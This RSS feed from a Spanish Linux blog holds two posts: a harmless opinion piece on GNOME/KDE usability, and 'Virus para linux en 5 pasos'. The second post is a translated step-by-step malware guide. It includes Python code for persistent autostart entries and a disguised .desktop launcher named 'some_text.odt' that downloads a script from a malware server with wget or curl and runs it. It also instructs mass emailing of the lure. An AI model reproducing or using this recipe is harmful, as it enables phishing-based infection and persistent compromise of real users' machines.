<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>eLKcro Team &#187; KDE</title>
	<atom:link href="http://www.elkcro.net/tag/kde/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.elkcro.net</link>
	<description>Informática desde usuarios, para usuarios...</description>
	<lastBuildDate>Wed, 26 May 2010 04:55:22 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9.2</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Lo malo de los sistemas GNU/Linux es una de sus ventajas</title>
		<link>http://www.elkcro.net/2009/09/lo-malo-de-los-sistemas-gnulinux-es-una-de-sus-ventajas/</link>
		<comments>http://www.elkcro.net/2009/09/lo-malo-de-los-sistemas-gnulinux-es-una-de-sus-ventajas/#comments</comments>
		<pubDate>Sat, 26 Sep 2009 05:12:03 +0000</pubDate>
		<dc:creator>carloselias</dc:creator>
				<category><![CDATA[Featured]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[Ubuntu]]></category>
		<category><![CDATA[Usabilidad]]></category>
		<category><![CDATA[Gnome]]></category>
		<category><![CDATA[KDE]]></category>
		<category><![CDATA[Mac OS X]]></category>

		<guid isPermaLink="false">http://www.elkcro.net/?p=590</guid>
		<description><![CDATA[Ya he experimentado suficiente en GNU/Linux, desde mis inicios con una versión añeja de RedHat que venía en una revista HOT Shareware, pasando por Slackware, Debian, Fedora y Ubuntu, usando el viejo conocido nomo (Gnome). Desde siempre quise hacer un cambio de usabilidad en Gnome, sobre todo con esos  insufribles diálogos para guardar un archivo, pero en esta ocasión daré una opinión explicativa del &#8220;por qué&#8221; encuentro que lo malo se convierte en beneficio:


La acción “Guardar Como” simplemente debería ofrecerte:

Nombre para guardar el archivo
Extensión del archivo (es mejor ofrecerle ...]]></description>
			<content:encoded><![CDATA[<p>Ya he experimentado suficiente en <a class="zem_slink" title="Linux" rel="wikipedia" href="http://en.wikipedia.org/wiki/Linux">GNU/Linux</a>, desde mis inicios con una versión añeja de <a class="zem_slink" title="Red Hat" rel="homepage" href="http://www.redhat.com">RedHat</a> que venía en una revista <a title="Me siento viejo" href="http://editorial.ysi.net/creacion_contenidos/img/hot_shareware.jpg">HOT Shareware</a>, pasando por <a class="zem_slink" title="Slackware" rel="wikipedia" href="http://en.wikipedia.org/wiki/Slackware">Slackware</a>, <a class="zem_slink" title="Debian" rel="wikipedia" href="http://en.wikipedia.org/wiki/Debian">Debian</a>, <a class="zem_slink" title="Fedora (operating system)" rel="wikipedia" href="http://en.wikipedia.org/wiki/Fedora_%28operating_system%29">Fedora</a> y Ubuntu, usando el viejo conocido nomo (Gnome). Desde siempre quise hacer un cambio de usabilidad en Gnome, sobre todo con esos  insufribles diálogos para guardar un archivo, pero en esta ocasión daré una opinión explicativa del &#8220;por qué&#8221; encuentro que lo malo se convierte en beneficio:</p>
<p><span id="more-590"></span></p>
<p style="text-align: center;"><img class="size-medium wp-image-596 aligncenter" title="Save Dialog Box" src="http://www.elkcro.net/wp-content/uploads/2009/09/savedialogxb0-300x265.png" alt="Save Dialog Box" width="300" height="265" /></p>
<p><strong>La acción “Guardar Como” simplemente debería ofrecerte:</strong></p>
<ul>
<li><strong>Nombre</strong> para guardar el archivo</li>
<li><strong>Extensión del archivo</strong> (es mejor ofrecerle un valor por defecto al usuario que dejarlo solo con la opción, si fuimos capaces de crear un Mega-hiper-ozom-ambilibabol software, no nos cuesta nada darle la mejor opción de guardado que tenga nuestro software)</li>
<li><strong>El lugar de destino</strong>, he visto a muy poca gente usar los accesos directos que tiene ya sea a su /home/Documentos o a Mis Documentos, una practica muy común es que tengan un directorio con su nombre en el escritorio donde van guardando todo, el síndrome de “este PC es mio y estos son MIS archivos”, prefieren asegurarse e ir directorio por directorio por eso ofrecerles la ultima ruta donde guardaron por defecto me parece buena practica, pero es bien sabido que el botón mas usado del Navegador es el Atrás (Back), es su oportunidad de “empezar de nuevo” por eso solo basta, en el caso de GNU/Linux, con el enlace al /home y de ahí que hagan lo que les plazca</li>
<li><strong>Opciónes avanzadas</strong>, lo que sospechaban, ningún mortal las usa. una buena analogía sería la siguiente : &#8220;si entiendes una de las licencias <a class="zem_slink" title="Creative Commons" rel="homepage" href="http://creativecommons.org/">Creative Commons</a> eres un usuario normal, si alguna ves quisiste o tuviste la intención de ver la licencia completa eres Geek o usuario avanzado.&#8221; ¿mate a varios no?</li>
</ul>
<p>Pero tiempo después me di cuenta que el problema no es sólo el desorden que hay en ciertas ventanas de dialogo, ni tampoco la poca <abbr title="como odio esa palabra! pero es la que me da que comer ;)">usabilidad.</abbr></p>
<p>Luego de una reflexión casi digna de un <abbr title="y lo calvo la yo tengo">Monje Tibetano</abbr>, descubrí cuál era la mejor ventaja de <a class="zem_slink" title="Mac OS X" rel="wikipedia" href="http://en.wikipedia.org/wiki/Mac_OS_X">Mac OS X</a> y Windows sobre este tema, y la verdad es cruda. La unificación del desarrollo de sus aplicaciónes, en el caso de Mac por ejemplo, donde los desarroladores tienen a su disposición una <a title="Apple Human Interface Guidelines" href="http://developer.apple.com/mac/library/documentation/UserExperience/Conceptual/AppleHIGuidelines/XHIGIntro/XHIGIntro.html">infinidad de manuales y normas gráficas</a>, así como también librerias que lo hacen posible (léase <a title="Cocoa" href="http://developer.apple.com/cocoa/">Cocoa</a>, <a title="Carbon" href="http://developer.apple.com/carbon/index.html">Carbon</a>); en Windows pasa algo similar.</p>
<p>El problema de Gnome, <a class="zem_slink" title="KDE" rel="wikipedia" href="http://en.wikipedia.org/wiki/KDE">KDE</a>, y otros, es que ambos disponen de MILES de formas de desarrollo, donde los desarrolladores pueden usar tanto <a class="zem_slink" title="GTK+" rel="wikipedia" href="http://en.wikipedia.org/wiki/GTK%2B">GTK</a>, QT, TCL/TK, Python, Mono, etc&#8230; (GLADE es un muy buen RAD, pero no para los que quieren empezar) para el desarrollo dentro de cualquier gestor de ventanas (<a title="Dymamic Window Manager" href="http://blog.zerial.org/linux/dymamic-window-manager-dwm-mi-nuevo-gestor-de-ventanas/">claro los que usa Zerial no cuentan en este post</a>) y es esa capacidad lo que lo convierte en la mejor ventaja, la <strong>DIVERSIDAD</strong>.</p>
<blockquote><p>diversidad.</p>
<p>(Del lat. diversĭtas, -ātis).</p>
<p>1. f. Variedad, desemejanza, diferencia.</p>
<p>2. f. Abundancia, gran cantidad de varias cosas distintas.</p></blockquote>
<p>Tomando esta última acepción es donde esta el fuerte de GNU/Linux y toda su gama de soluciones, es cosa de visitar <a title="KDE-apps" href="http://www.kde-apps.org/">KDE-apps</a> ó <a title="GTK-Apps" href="www.gtk-apps.org/">GTK-apps</a> ningún otro sistema operativo puede alardear de tantas soluciones. Pero ojo, tengo en la mira una distro en especial que quizó realmente hacer las cosas bien Moblin, los que de la audiencia tengan un netbook denle una oportunidad. ¿Qué prefieren ustedes? ¿Cantidad o Calidad?</p>
<p>N. del Autor: Quiero agradecer a hypn por la oportunidad de generar polimica y un saludo para mi mamá que no me esta viendo.</p>
<div class="zemanta-pixie"><span class="zem-script more-related pretty-attribution"><script src="http://static.zemanta.com/readside/loader.js" type="text/javascript"></script></span></div>
]]></content:encoded>
			<wfw:commentRss>http://www.elkcro.net/2009/09/lo-malo-de-los-sistemas-gnulinux-es-una-de-sus-ventajas/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Virus para linux en 5 pasos</title>
		<link>http://www.elkcro.net/2009/02/virus-para-linux-en-5-pasos/</link>
		<comments>http://www.elkcro.net/2009/02/virus-para-linux-en-5-pasos/#comments</comments>
		<pubDate>Tue, 24 Feb 2009 01:03:05 +0000</pubDate>
		<dc:creator>aKcro</dc:creator>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[Programacion]]></category>
		<category><![CDATA[Virus]]></category>
		<category><![CDATA[eLKcro]]></category>
		<category><![CDATA[Gnome]]></category>
		<category><![CDATA[KDE]]></category>
		<category><![CDATA[Python]]></category>

		<guid isPermaLink="false">http://elkcro.eianes.com/?p=137</guid>
		<description><![CDATA[Uno de los artículos mas leídos y comentados por internet ha sido el de como aprovechando vulnerabilidades en Gnome/KDE en linux, se podria crear un malware en 5 pasos, el árticulo original está en inglés pero traduciré el resumen de los famosos 5 pasos.
Guía compacta paso a paso.
1. Escribir una parte del malware de su elección. Tal vez como un Script en Python? Buen lenguaje, eficiente código, pre-instalado en la mayoría de distribuciones Linux y poderosa biblioteca estándar de apoyo (por ejemplo, las bibliotecas para el envío y manejo de ...]]></description>
			<content:encoded><![CDATA[<p>Uno de los artículos mas leídos y comentados por internet ha sido el de como aprovechando vulnerabilidades en Gnome/KDE en linux, se podria crear un malware en 5 pasos, el árticulo original está en inglés pero traduciré el resumen de los famosos 5 pasos.</p>
<p><strong>Guía compacta paso a paso.</strong></p>
<p><strong>1.</strong> Escribir una parte del malware de su elección. Tal vez como un Script en Python? Buen lenguaje, eficiente código, pre-instalado en la mayoría de distribuciones Linux y poderosa biblioteca estándar de apoyo (por ejemplo, las bibliotecas para el envío y manejo de peticiones HTTP y SMTP  son parte de la mayoría de las instalaciones). Ubicar el malware en algun web-server.</p>
<p><strong>2.</strong> El malware necesita la habilidad de instalar un Auto-Arranque que sera lanzado cada vez que el usuario se loguee.  Como ya se menciono para Gnome significa crear  la descripción del arranque en la carpeta &#8221; <strong>~/.config/autostart</strong> &#8220;.  Para KDE solo enlazar  el ejecutable desde el directorio &#8220;<strong> ~/.kde/Autostart </strong>&#8220;.  Hacer que el código del malware pueda forzar y copiar o linkear un enlace hacia el en ambas ubicaciones  (creación de directorios en el camino si no existe) o puede ser un poco inteligente y elegir lo correcto a hacer basado en el entorno de escritorio que se detecta.</p>
<p>Por ejemplo, para crear el acceso directo para KDE, todo lo que se necesita  escribir en Python es el siguiente:</p>
<p><span id="more-137"></span></p>
<p><em>import os<br />
uname = os.getlogin()<br />
drop_dir = “/home/%s/.kde/Autostart” % uname)<br />
os.makedirs(drop_dir)<br />
os.symlink(&#8220;/home/%s/.local/.hidden/s.py&#8221; % uname, drop_dir+“/s.py&#8221;)</em></p>
<p>Para Gnome el script necesario para escribir un arranque en el directorio necesario es el siguiente:</p>
<p><em> import os<br />
relauncher_str = &#8220;&#8221;"<br />
[Desktop Entry]<br />
Type=Application<br />
Name=Malware<br />
Exec=python .local/.hidden/s.py<br />
Icon=system-run<br />
&#8220;&#8221;"<br />
uname = os.getlogin()<br />
drop_dir = “/home/%s/.config/autostart” % uname<br />
os.makedirs(drop_dir)<br />
f = open(drop_dir+”/Malware.desktop”, “w”)<br />
f.write(relauncher_str)<br />
f.close()</em></p>
<p>Escribir esas entradas de auto-arranque es probablemente una de las primeras cosas que debería hacer el malware.</p>
<p><strong>3.</strong> Ahora crear un lanzador de escritorio para el archivo instalador del malware, que es diferente que el lanzador que usamos para reiniciar el programa malware después de un reinicio del sistema. El lanzador de escritorio para el instalador es lo que se enviará como archivo adjunto en el correo electrónico dirigido al usuario. Es en lo que el usuario hace click vez que guardó. Pruebe algo como esto:</p>
<p><em>[Desktop Entry]<br />
Type=Application<br />
Name=some_text.odt<br />
Exec=bash -c &#8216;URL=http://www.my_malware_server.com/s.py ;<br />
DROP=~/.local/.hidden ;<br />
mkdir -p $DROP;<br />
if [ -e /usr/bin/wget ] ;<br />
then wget $URL -O $DROP/s.py ;<br />
else curl $URL -o $DROP/s.py ; fi;<br />
python $DROP/s.py&#8217;<br />
Icon=/usr/share/icons/hicolor/48&#215;48/apps/ooo-writer.png</em></p>
<p>Tenga en cuenta que se ha especificado un nombre que es de aspecto inofensivo e incluso se optó por un icono que le hace parecer como un documento normal (este icono está presente tanto en sistemas Ubuntu (Gnome) y Kubuntu (KDE), pero no necesariamente en Fedora). Si usted quiere enviar fotos de desnudos en el correo electrónico, basta con darle un nombre que lo hace sonar como una imagen (con algo. Jpg al final) y eligir uno de los iconos estándar de imagen.</p>
<p>La linea de ejecución es un poco mas larga ahora,  porque tenemos que contar con la posibilidad de que sea instalado con wget o curl.  Por ejemplo sistemas Ubuntu suelen utilizar wget, mientras que fedora trae curl.  Entonces lo que se necesita es llamar a los correctos comandos bash para detectar cual esta presente y con cual descargaremos el malware.  No soy un experto en bash por lo que debe haber una manera mas eficiente de hacer esto.  Pero tienes la idea.  Asimismo, en esa línea estamos creando una buena ubicación para el script ($ DROP), que no es inmediatamente evidente. El comando mkdir con la opción-p  silenciosamente creará cualesquiera directorios padres que sean necesarios. Nuestro directorio esta en el  home del usuario, escondido en algún inocente directorio local  y sólo puede ser visto también en el caso de mostrar archivos ocultos. El directorio / tmp, por supuesto, no es un buen lugar para nuestro programa malicioso, ya que se limpia con cada reinicio del sistema.</p>
<p>Guardar este archivo lanzador con el nombre que se ha especificado en la linea &#8220;Name&#8221;, pero añadir &#8216;. Desktop&#8217; al final del nombre de archivo real. Así pues, en nuestro caso, se debería guardar el archivo como &#8217;some_text.odt.desktop&#8217; . Cuando este ubicado en su escritorio, verá que en Gnome o KDE será tratado de manera especial, no se muestra la  extensión &#8216;. Desktop&#8217; . Así, el archivo sólo aparece como &#8217;some_text.odt&#8217; . Por supuesto, eso también significa que el archivo adjunto de correo tendrá esta ampliación también. Algunos usuarios lo pueden notar, muchos otros no.</p>
<p><strong>4.</strong> Adjunte este archivo a un correo electrónico, que le pida al destinatario que guarde y abra el archivo adjunto. Como se ha explicado, una vez que se ha guardado que sólo aparecen como &#8217;some_text.odt &#8216; en el escritorio del usuario. Y con el icono que hemos elegido en el descriptor del lanzador  que parecen inofensivos.</p>
<p><strong>5.</strong> envía este mensaje a la mayor cantidad de direcciones de correo electrónico que puedas tener.</p>
<p>Voila! Un virus de Linux en 5 sencillos pasos. Cada usuario que abre y guarda el archivo adjunto que les han enviado se infectará con el malware script de su elección, que también se reinicia cada vez que el usuario se conecta de nuevo.</p>
<p>Eso fue fácil, ¿no?</p>
<p><strong>Artículo completo en inglés: </strong><a href="http://www.geekzone.co.nz/foobar/6229" target="_blank">GeekZone</a></p>
<p><em></em></p>
<p><em><strong><em></em></strong></em></p>
<p><em><br />
</em></p>
<p><em><br />
</em></p>
<p><em></em></p>
<p><em><em><br />
</em></em></p>
]]></content:encoded>
			<wfw:commentRss>http://www.elkcro.net/2009/02/virus-para-linux-en-5-pasos/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
